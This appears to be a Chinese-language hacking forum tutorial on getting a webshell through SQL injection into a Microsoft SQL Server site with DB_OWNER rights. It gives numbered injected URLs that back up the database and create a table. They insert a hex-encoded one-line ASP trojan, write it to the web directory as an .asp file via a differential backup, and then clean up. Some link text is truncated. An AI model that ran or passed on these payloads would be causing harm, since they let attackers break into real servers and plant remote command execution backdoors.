sql数据库DB_OWER权限得到WEBSHELL（前提：注入点可以列目录）
<P><FONT size=2>前提条件：sql数据库DB_OWER权限，可以列目录</FONT></P><P><IMG onclick="if(this.width>=780) window.open('attachment/Mon_0604/6_1349_ec3c768b94c389d.jpg');" src="http://www.wrsky.com/attachment/Mon_0604/6_1349_ec3c768b94c389d.jpg" onload="if(this.width > 780)this.width = 780;if(this.height > 1680) this.height = 1680;" border=0> </P>
<P><IMG onclick="if(this.width>=780) window.open('attachment/Mon_0604/6_1349_d6b9b2bda861518.jpg');" src="http://www.wrsky.com/attachment/Mon_0604/6_1349_d6b9b2bda861518.jpg" onload="if(this.width > 780)this.width = 780;if(this.height > 1680) this.height = 1680;" border=0> <BR><IMG onclick="if(this.width>=780) window.open('attachment/Mon_0604/6_1349_3fec90d57aaab5c.jpg');" src="http://www.wrsky.com/attachment/Mon_0604/6_1349_3fec90d57aaab5c.jpg" onload="if(this.width > 780)this.width = 780;if(this.height > 1680) this.height = 1680;" border=0> </P>
<P><FONT size=2>先找到web目录,然后backup,找web可以先试试读注册表,nbsi里面有自己找找吧.<BR>backup有三种方式拿shell, backup database,backup log,还有二次备份..</FONT></P>
<P><FONT size=2>备份差异的方法:<BR><A href="http://localhost/news/newcode.asp?id=1466" target=_blank>http://localhost/news/newcode.asp?id=1466</A>为注入点，为DB_OWNER权限<BR>通过注入点要得到虚礼目录: d:\www\<BR>1:输入<A href="http://localhost/news/newcode.asp?id=137;declare @a sysname" target=_blank target=_blank>http://localhost/news/newcode.asp? ... @a sysname</A>,@s varchar(4000) select @a=db_name(),@s=0x71697169 backup database @a to disk=@s--<BR>为备份为名qiqi的数据库！<BR>0x71697169 是数据库的名字转16进制了.<BR><BR><BR>2:<A href="http://localhost/news/newcode.asp?id=137;Drop table " target=_blank target=_blank>http://localhost/news/newcode.asp?id=137;Drop table </A>;create table <BR>. ( )--<BR>建表加字段<BR><BR>3:<A href="http://localhost/news/newcode.asp?id=137;insert into qiqi(cmd target=_blank) values" target=_blank>http://localhost/news/newcode.asp?id=137;i ... bsp;qiqi(cmd) values</A><BR>(0x3C256578656375746520726571756573742822302229253E)--<BR>这样就是在数据库中插入一句话木马<BR>0x3C256578656375746520726571756573742822302229253E是一句话木马<BR><%execute request("0")%> 的16进制代码<BR><BR>4:<A href="http://localhost/news/newcode.asp?id=137;declare @a sysname" target=_blank target=_blank>http://localhost/news/newcode.asp? ... @a sysname</A>,@s varchar(4000) select @a=db_name(),@s=0x643A5C7777775C6E6577735C716971692E6173700 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--<BR>就是这样把一句话木马当作数据库的差异备份出到d:\www\news\qiqi.asp<BR><BR>0x643A5C7777775C6E6577735C716971692E617370是WEB物理路径径:d:\www\news\qiqi.asp的16进制代码.<BR><BR><BR>5:<A href="http://localhost/news/newcode.asp?id=137;Drop table " target=_blank target=_blank>http://localhost/news/newcode.asp?id=137;Drop table </A>--<BR>最后撤除刚刚建立的库<BR><BR><BR>然后我们访问刚刚备份得出的<A href="http://localhost/news/qiqi.asp" target=_blank target=_blank>http://localhost/news/qiqi.asp</A>,可以看到了一大堆乱码,我们看看网页的最底,如果出现错误就表示插入木马成功了.<BR></FONT></P>
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